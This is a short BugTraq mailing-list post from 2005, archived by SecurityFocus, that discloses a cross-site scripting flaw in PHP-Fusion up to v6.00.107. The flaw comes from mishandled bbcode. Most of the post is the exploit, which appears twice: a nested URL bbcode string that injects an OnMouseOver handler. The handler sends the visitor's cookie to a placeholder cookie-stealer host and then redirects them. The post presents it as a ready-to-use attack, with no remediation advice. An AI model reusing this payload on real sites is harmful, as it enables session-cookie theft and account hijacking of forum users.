BugTraq
Back to list
|
Post reply
PHP-Fusion <= v6.00.107 XSS exploit
Aug 28 2005 11:26PM
slacker4ever_1 juno com
Hello we haved found a vulnerability in PHP-Fusion <=v6.00.107 which allows us to steal cookies. The exploit works because of badly coded bbcode.
Well here is the exploit.
[URL=http://aaaaaa.com/UR[url=aa.com&& OnMouseOver=jscript:location='http://direct/to/cookie/stealer.com/?c='+c
ookie; location="http://google.com]][/URL][/url]
[ reply ]
Privacy Statement
Copyright 2010, SecurityFocus
Well here is the exploit.
[URL=http://aaaaaa.com/UR[url=aa.com&& OnMouseOver=jscript:location='http://direct/to/cookie/stealer.com/?c='+c
ookie; location="http://google.com]][/URL][/url]
[ reply ]